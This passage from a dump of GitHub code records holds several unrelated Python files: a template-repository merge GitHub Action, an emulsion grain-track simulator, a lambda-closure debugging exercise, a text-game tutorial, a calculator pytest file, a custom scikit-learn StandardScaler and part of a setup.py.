if action in conflict_resolution_actions:\n            conflict_resolution_actions[action](path)\n        else:\n            valid_actions = conflict_resolution_actions.keys()\n            raise ValueError(f'invalid conflict resolution action \"{action}\"'\n                             f' for {path}: must be one of: {valid_actions}')\n\n    return True\n\n\ndef git_revert_to_head(path):\n    \"\"\"Revert the given path to its state on the HEAD branch.\"\"\"\n    git_reset_and_checkout('HEAD', path)\n\n\ndef git_reset_and_checkout(tree_ish, path):\n    \"\"\"Remove the given path from the index and restore the contents of the\n    path from the current HEAD branch. If the path does not exist on the HEAD\n    branch, then it will be removed from the working directory.\n    \"\"\"\n    print(f'Reverting {path} to {tree_ish}')\n\n    git('reset', '-q', '--', path)\n    git('checkout', '-q', tree_ish, '--', path)\n\n\ndef git_rev_parse(ref):\n    \"\"\"Return the commit sha of the given ref.\"\"\"\n    return git('rev-parse', ref, output=True).rstrip()\n\n\ndef git_merge_in_progress():\n    \"\"\"Returns whether a merge operation is on progress, or not.\n    \"\"\"\n    toplevel = git('rev-parse', '--show-toplevel', output=True).rstrip()\n    return os.path.isfile(os.path.join(toplevel, '.git', 'MERGE_HEAD'))\n\n\ndef git_commit(message):\n    \"\"\"Commit all changes in the working directory with the specified message.\n\n    :returns: True if the commit was successfully created, and False if there\n    was any reason that prevented the commit operation.\n    \"\"\"\n    git('commit', '-a', '-m', message)\n\n\ndef git_force_push(ref, branch):\n    \"\"\"Force-push the given ref to the given branch.\"\"\"\n    git('push', '-f', 'origin', f'{ref}:refs/heads/{branch}')\n\n\ndef git_delete_remote_branch(branch):\n    \"\"\"Delete the given branch in the remote Git repository.\n    \"\"\"\n    git('push', 'origin', f':refs/heads/{branch}')\n\n\ndef github_create_or_update_pull_request(head, base, title, body):\n    \"\"\"Create or update a pull request to merge the given head into the given\n    base.\n    \"\"\"\n    # TODO: check if the pull request exists rather than blindly creating one\n    # TODO: avoid having to grant 'read:org' and 'read:discussion' to token\n\n    if 0 == gh('pr', 'create', '-B', base, '-H', head, '-t', title, '-b', body,\n               check=False):\n        return 0\n\n    print('Creating pull request failed. Attempting to edit the existing one.')\n\n    # This command requires 'read:org' and 'read:discussion' scopes, which is\n    # more than we would need if we used the API directly.\n    gh('pr', 'edit', '-B', base, '-t', title, '-b', body, head)\n\n\ndef github_template_repository():\n    \"\"\"Return the repository that the current one was created from.\"\"\"\n    info = json.loads(\n        gh('repo', 'view', '--json', 'templateRepository', output=True)\n    )['templateRepository']\n\n    return info['owner']['login'] + '/' + info['name']\n\n\ndef github_url():\n    \"\"\"Return the HTTPS base URL of the GitHub UI.\"\"\"\n    return os.environ['GITHUB_API_URL'].replace('api.', '').replace('/api', '')\n\n\ndef github_host():\n    \"\"\"Return the hostname of the GitHub instance.\"\"\"\n    return re.sub('.*://', '', github_url())\n\n\ndef github_repository_url(repository):\n    \"\"\"Return the HTTPS URL of the given repository on GitHub.\"\"\"\n    return f'{github_url()}/{repository}'\n\n\ndef github_clone_url(clone_token, repository):\n    \"\"\"Return the HTTPS clone URL of the given GitHub repository.\"\"\"\n    return f'https://x-github-token:{clone_token}@' \\\n           f'{github_host()}/{repository}.git'\n\n\ndef main():\n    \"\"\"Gather the inputs for this GitHub Action and merge the specified branch\n    or tag of the specified remote repository into the current HEAD. The current\n    HEAD is assumed to point to a branch (not a detached commit) and the working\n    directory must be clean before this action.\n\n    :returns: 0 on success, or an integer greater than 0 on failure\n    \"\"\"\n    # As a sanity check, ensure that the working directory is clean before we\n    # start, and that the current HEAD is not a detached commit, so that other\n    # Git operations can work on these assumptions.\n    assert git_workdir_is_clean()\n    assert git_head_is_not_detached()\n\n    # Gather automatic action environment variables and derived values\n    github_actor = os.environ['GITHUB_ACTOR']\n\n    # Set required environment variables for the GitHub CLI\n    token = os.environ['TOKEN']\n    os.environ['GITHUB_TOKEN'] = token\n\n    # Gather the remaining action inputs and assume defaults\n    clone_token = os.environ['CLONE_TOKEN'] or token\n    repository = os.environ['REPOSITORY'] or github_template_repository()\n    assert re.match('.+/.+', repository)\n    repository_name = repository.split('/')[1]\n    repository_url = github_repository_url(repository)\n    orig_head = git_head_branch()\n    branch_or_tag = os.environ['BRANCH_OR_TAG'] or orig_head\n    merge_strategy = os.environ['MERGE_STRATEGY']\n    merge_exclude = os.environ['MERGE_EXCLUDE']\n    conflict_resolution = json.loads(os.environ['CONFLICT_RESOLUTION'])\n    remote = os.environ['REMOTE'] or repository_name\n    clone_url = github_clone_url(clone_token, repository)\n    remote_ref = f'{remote}/{branch_or_tag}'\n    pr_branch = os.environ['PR_BRANCH'] or f'chore/merge-{repository_name}-into-{orig_head}'\n    delete_pr_branch = os.environ['DELETE_PR_BRANCH'] == 'true'\n\n    # Set environment variables required for Git merge and commit operations\n    if 'GIT_AUTHOR_NAME' not in os.environ:\n        os.environ['GIT_AUTHOR_NAME'] = github_actor\n    if 'GIT_AUTHOR_EMAIL' not in os.environ:\n        os.environ['GIT_AUTHOR_EMAIL'] = f'{github_actor}@users.noreply.github.com'\n    if 'GIT_COMMITTER_NAME' not in os.environ:\n        os.environ['GIT_COMMITTER_NAME'] = os.environ['GIT_AUTHOR_NAME']\n    if 'GIT_COMMITTER_EMAIL' not in os.environ:\n        os.environ['GIT_COMMITTER_EMAIL'] = os.environ['GIT_AUTHOR_EMAIL']\n\n    with group(f'Prepare the {remote} remote'):\n        git_remote_add(remote, clone_url)\n        git_fetch_branches_and_tags(remote)\n\n    # Prepare the commit summary and pull request title\n    commit_scope = os.path.basename(os.getcwd())\n    commit_description = f'merge {repository}@{branch_or_tag}'\n    pr_title = f'chore({commit_scope}): {commit_description}'\n\n    with group(f'Merge {remote_ref} into {orig_head}'):\n        merge_success = git_merge_no_commit(merge_strategy, remote_ref)\n\n        if git_merge_in_progress():\n            revert_excluded_paths(merge_exclude, 'HEAD')\n\n            if not merge_success:\n                if not resolve_all_merge_conflicts(conflict_resolution):\n                    git('merge', '--abort')\n\n                    merge_base = orig_head\n\n                    # Attempt to perform the merge on the previous base, since\n                    # we would otherwise simply revert all changes. This gives\n                    # maintainers a chance to resolve some conflicts again.\n                    if 0 == git('merge-base', orig_head, remote_ref,\n                                check=False):\n                        merge_base = git('merge-base', orig_head, remote_ref,\n                                         output=True).rstrip('\\n')\n\n                    git('checkout', '-b', pr_branch, merge_base)\n                    git('merge', '--no-commit', '--no-ff',\n                        '--allow-unrelated-histories', '-s', 'recursive',\n                        '-X', 'theirs', remote_ref, check=False)\n\n                    revert_excluded_paths(merge_exclude, orig_head)\n\n                    if not resolve_all_merge_conflicts(conflict_resolution):\n                        print('Unable to merge, even with \"-X theirs\"')\n                        return 1\n\n    with group(f'Commit changes to {git_head_branch()}'):\n        if not git_merge_in_progress() and git_workdir_is_clean():\n            if git_head_branch() == orig_head:\n                print('Nothing to commit, working tree clean.')\n\n                if delete_pr_branch:\n                    git_delete_remote_branch(pr_branch)\n\n                return 0\n        else:\n            git_commit(f'chore({commit_scope}): {commit_description}')\n\n    with group(f'Push {git_head_branch()} to {pr_branch}'):\n        git_force_push(git_head_branch(), pr_branch)\n\n    with group(f'Create pull request for {pr_branch}'):\n        github_create_or_update_pull_request(\n            base=orig_head,\n            head=pr_branch,\n            title=pr_title,\n            body=f'This change integrates all commits from **{branch_or_tag}** '\n                 f'in the [{repository}]({repository_url}) repository.'\n        )\n\n    return 0\n\n\nif __name__ == '__main__':\n    import doctest\n\n    doctest.testmod()\n","repo_name":"growit-io/terragrunt-aws-poc","sub_path":".github/actions/remote-merge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17199,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"26891005214","text":"import numpy as np\r\nimport cv2\r\nimport os\r\nimport math\r\nimport random\r\nfrom matplotlib import pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport glob\r\nimport pickle\r\nimport sys\r\nimport json\r\n\r\n\r\nclass GrainGenator:\r\n    def __init__(self):\r\n        self.output_dir = \"\"\r\n        self.id_dataset = 0\r\n        self.n_tracks = [80, 80]\r\n        self.param_minimum_distance = 0.2 # micron    \r\n        self.n_pixel_original = 2048\r\n        self.n_divide = 8\r\n        self.n_view = 1\r\n        self.track_ranges_micron = [2.6, 5.2]\r\n        self.sigma_track_range = 0.7 #micron\r\n        self.distance_between_AgBr = 0.05 # this value is not accurate\r\n        self.view_margin = 0.5 # micron\r\n        self.n_noises_loc = 3\r\n        self.n_noises_scale = 1\r\n        self.n_max_grain_in_cluster = 5\r\n        self.sigma_grain_in_cluster = 0.1\r\n        self.thickness_boron = 0.200 # ~200nm\r\n        self.thickness_protection = 0.060 # 2V101501, NiC:46nm + C:14nm\r\n        self.thickness_noise = 0.008\r\n        self.threshold_z = 0.3\r\n        self.probability_development = [0.08, 0.15]\r\n        self.max_slope = 0.00\r\n        self.calc_secondary_parameters()\r\n\r\n        self.list_view_track_grain = []\r\n        self.list_generated_range = []\r\n        self.list_xyz = []\r\n\r\n    def calc_secondary_parameters(self):\r\n        self.n_pixel = int(self.n_pixel_original / self.n_divide)\r\n        self.view_size = 50 / 909 * self.n_pixel # 50micron=909pix\r\n        self.depth_boron = self.thickness_boron + self.thickness_protection\r\n\r\n    def load_parameters_from_json(self, jsonname):\r\n        with open(jsonname) as f:\r\n            params = json.load(f)\r\n        for key, val in params.items():\r\n            self.__dict__[key] = val\r\n        self.calc_secondary_parameters()    \r\n        return\r\n\r\n    def create_output_dir(self):\r\n        self.int_param_minimum_distance = int(self.param_minimum_distance * 100)    \r\n        self.output_dir = f\"dist{self.int_param_minimum_distance:03d}_t{self.n_tracks[0]:03d}_t{self.n_tracks[0]:03d}_{self.id_dataset:02d}\"\r\n        os.makedirs(f\"{self.output_dir}\", exist_ok=True)\r\n\r\n    def get_root_point(self):\r\n        root_x = np.random.uniform(0, self.view_size)\r\n        root_y = np.random.uniform(0, self.view_size)\r\n        root_z = np.random.uniform(-self.depth_boron, -self.thickness_protection)\r\n        return root_x, root_y, root_z\r\n\r\n    def generate_tracks_and_noises(self):\r\n        self.n_image = self.n_view * self.n_divide * self.n_divide\r\n        for i in range(self.n_image):\r\n            print(f\"view {i} in {self.n_image}\")\r\n            slope_dzdx = np.random.uniform(0, self.max_slope)\r\n            slope_dzdy = np.random.uniform(0, self.max_slope)\r\n            list_track_grain = []\r\n            self.generate_tracks(list_track_grain, slope_dzdx, slope_dzdy)\r\n            self.generate_noises(list_track_grain, slope_dzdx, slope_dzdy)\r\n            self.list_view_track_grain.append(list_track_grain)\r\n\r\n    def generate_tracks(self, list_track_grain, slope_dzdx, slope_dzdy):\r\n        list_boundary_point = []\r\n        n_track_in_this_image = np.random.uniform(self.n_tracks[0], self.n_tracks[1])\r\n        probability_development_in_this_image = np.random.uniform(self.probability_development[0], self.probability_development[1])\r\n        while len(list_track_grain) < n_track_in_this_image:\r\n            xyz = create_uniform_sphere_xyz()\r\n            xyz[2] = abs(xyz[2]) # z > 0\r\n            track_range = random.choice(self.track_ranges_micron)\r\n            track_range += random.gauss(0, self.sigma_track_range)\r\n            #\r\n            root_x = np.random.uniform(0, self.view_size)\r\n            root_y = np.random.uniform(0, self.view_size)\r\n            root_z = np.random.uniform(-self.depth_boron, -self.thickness_protection)\r\n            #\r\n            step = 0.0\r\n            list_grain = []\r\n            while step < track_range:\r\n                this_x = root_x +  xyz[0] * step\r\n                this_y = root_y +  xyz[1] * step\r\n                this_z = root_z +  xyz[2] * step\r\n                if np.random.uniform(0, 1) < probability_development_in_this_image:\r\n                    if  this_z > 0.0: # in emulsion layer\r\n                        this_z += root_x * slope_dzdx + root_y * slope_dzdy\r\n                        list_grain.append((this_x, this_y, this_z))\r\n                step += self.distance_between_AgBr\r\n            # end of loop for a track\r\n            if len(list_grain) == 0:\r\n                continue\r\n            first_grain = list_grain[0]\r\n            last_grain = list_grain[-1]\r\n            if first_grain[0] < 0 + self.view_margin or self.view_size - self.view_margin < first_grain[0]:\r\n                continue # because this point is out of effective X\r\n            if first_grain[1] < 0 + self.view_margin or self.view_size - self.view_margin < first_grain[1]:\r\n                continue # because this point is out of effective Y\r\n            if last_grain[2] < self.threshold_z:\r\n                continue\r\n            #\r\n            min_dist = 9999.9\r\n            for b in list_boundary_point:\r\n                this_distance = math.hypot(b[0] - first_grain[0], b[1] - first_grain[1])\r\n                min_dist = this_distance if this_distance < min_dist else min_dist\r\n            if min_dist < self.param_minimum_distance:\r\n                continue # because too close\r\n            #\r\n            list_boundary_point.append(first_grain)\r\n            list_track_grain.append({\"type\":\"t\", \"list_grain\":list_grain, \"root\":[root_x, root_y, root_z]})\r\n            self.list_xyz.append(xyz)\r\n            self.list_generated_range.append(track_range)\r\n\r\n    def generate_noises(self, list_track_grain, slope_dzdx, slope_dzdy):\r\n        n_noises = np.random.normal(loc = self.n_noises_loc, scale = self.n_noises_scale)\r\n        n_noises = int(n_noises)\r\n        for _ in range(n_noises):\r\n            n_cluster = int( random.uniform(1, self.n_max_grain_in_cluster))\r\n            root_x = np.random.uniform(0, self.view_size)\r\n            root_y = np.random.uniform(0, self.view_size)\r\n            root_z = np.random.uniform(0, self.thickness_noise)\r\n            list_grain_noise = []\r\n            for _ in range(n_cluster):\r\n                this_x = root_x + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n                this_y = root_y + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n                this_z = root_z + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n                this_z += root_x * slope_dzdx + root_y * slope_dzdy\r\n                list_grain_noise.append((this_x, this_y, this_z))\r\n            list_track_grain.append({\"type\":\"n\",\"list_grain\":list_grain_noise})\r\n\r\n    def dump_pickle_file(self, pickle_name=\"grains.pickle\"):\r\n        with open(f\"{self.output_dir}/{pickle_name}\", 'wb') as p:\r\n            pickle.dump(self.list_view_track_grain, p)\r\n\r\n    def dump_parameters_as_json_file(self, json_name=\"parameters.json\"):\r\n        output_json = self.__dict__\r\n        output_json.pop(\"list_view_track_grain\")\r\n        output_json.pop(\"list_xyz\")\r\n        output_json.pop(\"list_generated_range\")\r\n        with open(f\"{self.output_dir}/{json_name}\", 'w') as f:\r\n            json.dump(output_json, f, ensure_ascii=False, indent=4) \r\n\r\n\r\n# this function returns n_random of (x,y,z) unit isotropic vector\r\ndef create_uniform_sphere_xyz():\r\n    while True:\r\n        xyz = np.random.normal(\r\n            loc   = 0,\r\n            scale = 1,\r\n            size  = 3)\r\n        if abs(xyz[2]) < 0.001:\r\n            continue\r\n        norm = np.linalg.norm(xyz, ord=2)\r\n        if abs(norm) < 0.001:\r\n            continue\r\n        x,y,z = xyz / norm\r\n        return [x,y,z]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n    flag_debug = True\r\n    if flag_debug:\r\n        json_name = \"maskrcnn_create_3d_simulated_grains_parameters.json\"\r\n        n_tracks = [80, 80]\r\n        id_dataset = 5\r\n    else:\r\n        args = sys.argv\r\n        json_name = args[1]\r\n        n_tracks = int(args[2])\r\n        id_dataset = int(args[3])\r\n\r\n    gg = GrainGenator()\r\n    gg.n_tracks = n_tracks\r\n    gg.id_dataset = id_dataset\r\n    gg.load_parameters_from_json(json_name)\r\n\r\n    gg.create_output_dir()\r\n\r\n    gg.generate_tracks_and_noises()\r\n\r\n    gg.dump_pickle_file(\"grains.pickle\")\r\n    gg.dump_parameters_as_json_file(\"parameters.json\")\r\n\r\n","repo_name":"AbdulMuneem25/AbdulMuneem25","sub_path":"maskrcnn_create_3d_simulated_grains.py","file_name":"maskrcnn_create_3d_simulated_grains.py","file_ext":"py","file_size_in_byte":8377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26971317921","text":"# original code\n\"\"\"\ndef get_sum_metrics(predictions, metrics=[]):\n    for i in range(3):\n        metrics.append(lambda x: x + i)\n\n    sum_metrics = 0\n    for metric in metrics:\n        sum_metrics += metric(predictions)\n\n    return sum_metrics\n\"\"\"\n\n# issues: it looks like the course developers just took the two examples from this booK: https://docs.python-guide.org/writing/gotchas/\n\n# first issues is that since it is function's default argument, the new list \"metrics\" is created ONCE (when the function is defined), \n# you might not notice it if you call the function just one time, but every call after the first one will keeps appending to the SAME list;\n# to fix, we need to create a new objest each time the function is called with no metrics argument passed.\n\n# second issues is that the append function doesn't have any variable called i in its own scope, \n# so it checks the surrounding scope at call time (in for metric in metrics loop); \n# by then, the for loop has completed and i is left with its final value of 2.\n\n\n# fixed code\n\ndef get_sum_metrics(predictions, metrics=None):\n    if metrics is None:\n        metrics = []\n    for i in range(3):\n        metrics.append(lambda x, y=i: x+y)\n\n    sum_metrics = 0\n    for metric in metrics:\n        sum_metrics += metric(predictions)\n\n    return sum_metrics\n  \n  \ndef main():\n    print(get_sum_metrics(0))  # Should be (0 + 0) + (0 + 1) + (0 + 2) = 3\n    print(get_sum_metrics(1))  # Should be (1 + 0) + (1 + 1) + (1 + 2) = 6\n    print(get_sum_metrics(2))  # Should be (2 + 0) + (2 + 1) + (2 + 2) = 9\n    print(get_sum_metrics(3, [lambda x: x]))  # Should be (3) + (3 + 0) + (3 + 1) + (3 + 2) = 15\n    print(get_sum_metrics(0))  # Should be (0 + 0) + (0 + 1) + (0 + 2) = 3\n    print(get_sum_metrics(1))  # Should be (1 + 0) + (1 + 1) + (1 + 2) = 6\n    print(get_sum_metrics(2))  # Should be (2 + 0) + (2 + 1) + (2 + 2) = 9\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"shcherbukha/MITx-6.86x","sub_path":"unit_0/proj_0/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24995693152","text":"from Classes import *\nfrom Functions import *\nfrom Character_Enemies import *\nfrom Save import *\nfrom Tutorial_save import *\nfrom Lists import *\nimport time, os\n\ndef t(number):\n    time.sleep(number)\ndef pr(stri):\n    print(stri)\n    print(\"\")\ndef di(stri):\n    print(f\"You: {stri}\")\n    print(\"\")\ndef i(stri):\n    input(stri)\ndef tu(Instruction):\n    print(\"\")\n    input(f\"TUTORIAL TIP: {Instruction} Press [ENTER] to continue: \")\n    print(\"\")\ndef note(stri):\n    input(\"PLEASE NOTE: \" + stri + \" Press enter to continue: \")\n    print(\"\")\ndef tc(stri):\n    print(stri)\n    print(\"\")\n    time.sleep(4)\n\ndef write(intro, menu, hunt):\n    f = open(\"files\\Tutorial_save.py\", \"w\")\n    f.write(\"intro = \" + str(intro) + \"\\n\" + \"menu = \" + str(menu) + \"\\n\" + \"hunting = \" + str(hunt))\n    f.close()\n\nif intro == False:\n t(3)\n pr(\"Silence...\")\n t(3)\n pr(\"Your eyes are wide open...\")\n t(3)\n di(\"That was a strange dream\")\n t(3)\n di(\"But it's time to wake up now.\")\n t(3)\n pr(\"Welcome to Ground Zero, the land of power...\")\n t(3)\n input(\"TUTORIAL TIP: Press [ENTER] to continue: \")\n t(2)\n i(\"Humanity has moved on.\")\n i(\"Technology is no more.\")\n i(\"Only the Zero Energy remains\")\n pr(\"\")\n pr(\"You walk out side to place a wooden sign on your yard.\")\n pr(\"The sign reads '\" + name + \" owns this farm'.\")\n pr(\"\")\n t(3)\n di(\"Time to go hunting now.\")\n write(True, False, False)\n t(3)\n\nif menu == False:\n    tu(\"Option menus (such as the one coming up) are what are going to be used to navigate the areas found throughout the game.\")\n    tu(\"Right now, we will learn how to hunt, which is the basic way to grind XP.\")\n    note(\"The way I designed this is janky, so expect at least 1 small bug, nothing game breaking though :D.\")\n    loop = True\n    while loop == True:\n        pr(\"\")\n        tu(\"CHOOSE THE HUNT OPTION.\")\n        for op in home:\n            print(op)\n        i = input(\"Type in the number corrosponding to your choice: \")\n        pr(\"\")\n        if i == \"1\":\n            print(\"It seems your wardrobe is empty\")\n        elif i == \"2\":\n            print(\"It seems you have all your weapons equipped.\")\n        elif i == \"3\":\n            print(\"Complete the tutorial before proceeding to the main world.\")\n        elif i == \"4\":\n            loop = False\n        t(2)\n    write(True, True, False)\n\nif hunting == False:\n    tu(\"Hunting is the most basic way to grind XP in this game, so we'll first learn how to do that.\")\n    tu(\"In Legend of the Secret, hunting is based on RNG (meaning it is Randomised), later on you'll find weapons that increase your hunting luck.\")\n    note(\"Because this is a tutorial, the hunting system here is scripted and not randomised, because I was too lazy to develop the system, but don't worry, the system in the actual game is RNG, yay gambling!\")\n    tu(\"Hunting takes a small amount of gold per session, by that I mean [5] gold per session.\")\n    tu(\"Now, let's start with the hunting!\")\n    loop = True\n    while loop == True:\n        i = input(\"Press [ENTER] to enter the hunting grounds (press N to exit): \")\n        if i == \"n\" or i == \"N\":\n            print(\"Sorry, you can't do that during the tutorial, sorry :(.\")\n            t(3)\n        else:\n            loop = False\n\n    input(\"You caught a [Basic Fawn]! Gained [10] gold. Made back [5] gold. Press [ENTER] to continue: \")\n    print(\"\")\n    input(\"Press [ENTER] to enter the hunting grounds (press N to exit): \")\n    print(\"\")\n    input(\"Grounds Officer: Sorry kid, times up, the hunting grounds are closing.\")\n    t(1)\n    print(\"\")\n    di(\"Damn, okay I guess, I'll just come back tomorrow.\")\n    t(3)\n    input(\"Grounds Officer: Thanks for understanding.\")\n    print(\"\")\n    t(2)\n    tc(\"You were returning home...\")\n    tc(\"So now it's time...\")\n    tc(\"It's time...\")\n    tc(\"It's time to move on...\")\n    tc(\"It's time to open your eyes...\")\n    os.startfile(\"files\\Dialoges.py\")","repo_name":"youful3/Legend-of-the-Secret","sub_path":"files/Tutorial.py","file_name":"Tutorial.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17473643553","text":"\"\"\"\n File: test_compute.py\n Description: pytest tests on the calaculate.py module \n \n\"\"\"\nimport pytest\nimport math\nfrom calculator import Calculator  \n\n\n## complex problem and answer\ncomplx = '(((10.2*3)/(3+4))) + 66/(7*%s)' % math.pi\nanswer = 7.3726360697328825\n\n## list of (problem, answer) tuples to be used in parameterization input\nPARAM_TUPS =  [ \n ('2+2', 4.0),          ## simple add\n ('(10-4)', 6.0),       ## simple subtract \n ('22.6*2', 45.2),      ## simple mult \n ('5/2', 2.5),          ## simple division \n (complx, answer)       ## complicated \n]\n\n##------------------------------------------------------------------------\n@pytest.mark.parametrize(\"input_problem, exp_answer\", PARAM_TUPS)\ndef test_compute(input_problem, exp_answer):\n    \"\"\" \n      Test computuation of various math operations from parameterized input\n    \"\"\" \n    calc = Calculator({})\n    answer = calc.compute(input_problem)\n    assert (answer == exp_answer) \n","repo_name":"bfanselow/CaaS","sub_path":"tests/unit/test_compute.py","file_name":"test_compute.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10979233041","text":"'''\r\npurpose_: Custom Transformer Standard Scaler\r\nauthor_: Sanjay Seetharam\r\nstatus_: development\r\nversion_: 1.0\r\n'''\r\n\r\nfrom sklearn.base import TransformerMixin, BaseEstimator\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nclass StandardScaler(BaseEstimator, TransformerMixin):\r\n    '''Perform Z-score normalisation\r\n\r\n    Parameters\r\n    ----------\r\n    columns_to_be_applied: Column to Standardise\r\n\r\n    Returns\r\n    -------\r\n    standardised array\r\n    '''\r\n\r\n    def __init__(self, columns_to_be_applied, ignore_nan = False) -> object:\r\n\r\n        # Check if the Argument passed is List\r\n        if not isinstance(columns_to_be_applied, list):\r\n            raise ValueError(\"The StandardScaler is expecting a list of strings with\" \r\n                             \"the column names to be applied.\")\r\n\r\n        # Check if the Argument contains string\r\n        if not all([isinstance(item, str) for item in columns_to_be_applied]):\r\n            raise ValueError(\r\n                \"The StandardScaler is expecting a list of strings 'columns_to_be_applied'.\"\r\n                \"At least one of the items was not a string.\"\r\n            )\r\n\r\n        # Check condition boolean for ignore_nan\r\n        if not isinstance(ignore_nan, bool):\r\n            raise ValueError(\"The StandardScaler is expecting the \"\r\n                             \"argument 'ignore_nan' to be boolean.\")\r\n\r\n        self.columns_to_be_applied = columns_to_be_applied # Features\r\n        self.mean_value_df = None # Mean of Vector\r\n        self.sd_value_df = None # Standard Deviation of Vector\r\n        self.ignore_nan = ignore_nan # Condition for NaN\r\n        \r\n    @staticmethod\r\n    def __standard_scaler(mean_value, sd_value) -> float:\r\n        '''feature standardisation\r\n\r\n        Parameters\r\n        ----------\r\n        mean_value: float;\r\n            mean of feature vector\r\n\r\n        sd_value: float;\r\n            standard deviation of feature vector\r\n\r\n        Returns\r\n        -------\r\n        scaler: float;\r\n            standardised value\r\n\r\n        '''\r\n        def scaler(x):\r\n            '''\r\n            standardised_value =\r\n            feature_vector - mean(feature_vector) / standard_deviation(feature_vector)\r\n            '''\r\n            return (x - mean_value) / sd_value\r\n        return scaler\r\n\r\n    @staticmethod\r\n    def check_if_argument_is_pd_df(X):\r\n        '''Check if Argument is Pandas DataFrame\r\n\r\n        Parameters\r\n        ---------\r\n        X: array-like of shape (n_samples, n_features)\r\n            Input Samples\r\n\r\n        Returns\r\n        ------\r\n        Boolean;\r\n            If False, raise error with a message\r\n\r\n        '''\r\n        if not isinstance(X, pd.DataFrame):\r\n            raise RuntimeError(\"The argument expected should be pandas dataframe.\")\r\n\r\n    def fit_transform(self, X, y = None, **fit_params):\r\n        ''' Fit to data, then transform it\r\n\r\n        Parameters\r\n        ----------\r\n        X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n            Input Sample\r\n\r\n        y: array-like of shape (n_samples) or (n_samples, n_outputs), default = None\r\n            Target Values. Return None for unsupervised \r\n\r\n        **fit_params: dict\r\n            Additional fitting parameters\r\n\r\n        Returns\r\n        -------\r\n        Transformed Array\r\n\r\n        '''\r\n        self.fit(X)\r\n        return self.transform(X)\r\n\r\n    @staticmethod\r\n    def input_df_checks(X, columns_to_be_applied, is_fitting = True):\r\n        '''Perform data checks\r\n\r\n        Parameters\r\n        ----------\r\n        X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n            Input Sample\r\n\r\n        columns_to_be_applied: array\r\n            Feature\r\n\r\n        is_fitting: boolean\r\n            if true; \"fitting\"\r\n            else; \"transforming\"\r\n\r\n        '''\r\n        StandardScaler.check_if_argument_is_pd_df(X)\r\n\r\n        # Check if the columns exist inside the pandas dataframe\r\n        if not all([item in X.columns for item in columns_to_be_applied]):\r\n            raise RuntimeError(\r\n                f\"The dataframe passed for {'fitting' if is_fitting else 'transforming'}\"\r\n                \"does not contain all the required columns specified in the\"\r\n                \"initialisation of the object.\"\r\n            )\r\n\r\n        # Check if the columns contain numeric values:\r\n        if not (\r\n            X[columns_to_be_applied].shape[1] == \r\n            X[columns_to_be_applied].select_dtypes(include = np.number).shape[1]\r\n        ):\r\n            raise RuntimeError(\r\n                \"The required columns for scaling are not numeric!\"\r\n            )\r\n\r\n    def fit(self, X, y = None):\r\n        '''Compute mean and standard deviation to be used for later standardising\r\n\r\n        Parameters\r\n        ----------\r\n        X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n            Input Sample\r\n\r\n        y: None\r\n            Ignored\r\n\r\n        Returns\r\n        -------\r\n        object;\r\n            Fitted Scaler\r\n        '''\r\n        self.input_df_checks(X, self.columns_to_be_applied, False)\r\n        if (not self.ignore_nan) and X[self.columns_to_be_applied].isnull().values.any():\r\n            raise ValueError(\"in the required columns there are nan values!\")\r\n\r\n        self.mean_value_df = {}\r\n        self.sd_value_df = {}\r\n\r\n        for col in self.columns_to_be_applied:\r\n            self.mean_value_df[col] = X.loc[X[col].notna(), [col]].mean()\r\n            self.sd_value_df[col] = X.loc[X[col].notna(), [col]].std()\r\n\r\n    def transform(self, X, y = None):\r\n        '''Standardise features of X\r\n\r\n        Parameters\r\n        ----------\r\n        X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n            Input Sample\r\n\r\n        y: None\r\n            Ignored\r\n\r\n        Returns\r\n        -------\r\n        X: (array-like, sparse matrix)\r\n            Transformed data\r\n        '''\r\n\r\n        self.input_df_checks(X, self.columns_to_be_applied, False)\r\n        for col in self.columns_to_be_applied:\r\n            X.loc[:, [col]] = X[col].apply(\r\n                StandardScaler.__standard_scaler(\r\n                    self.mean_value_df[col],\r\n                    self.sd_value_df[col]\r\n                )\r\n            )\r\n\r\n        return X\r\n        ","repo_name":"maverick-escape-ordinary-coding/custom_data_transformers","sub_path":"transformers/scaling/StandardScaler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34222274885","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom setuptools import setup\nfrom setuptools import find_packages\n\nimport io\n\nfrom os.path import dirname\nfrom os.path import join\n\n\n__version__ = None\nwith open('sar_pre_processing/version.py') as f:\n    exec(f.read())\n\ndef read(*names, **kwargs):\n    with io.open(\n        join(dirname(__file__), *names),\n        encoding=kwargs.get('encoding', 'utf8')\n    ) as fh:\n        return fh.read()\n\nwith open('docs/requirements.txt') as ff:\n    required = ff.read().splitlines()\n\nsetup(name='multiply-sar-pre-processing',\n      version=__version__,\n      description='MULTIPLY SAR Pre-Processing',\n      long_description=read('README.md'),\n      license='GNU license',\n      author='MULTIPLY Team',\n      author_email='weiss.thomas@lmu.de',\n      url='https://github.com/multiply-org/sar-pre-processing',\n      packages=['sar_pre_processing', 'sar_pre_processing.default_graphs'],\n      install_requires=required,\n      package_data={'sar_pre_processing.default_graphs': ['pre_process_step1.xml', 'pre_process_step1_border.xml',\n                                                          'pre_process_step2.xml', 'pre_process_step3.xml', 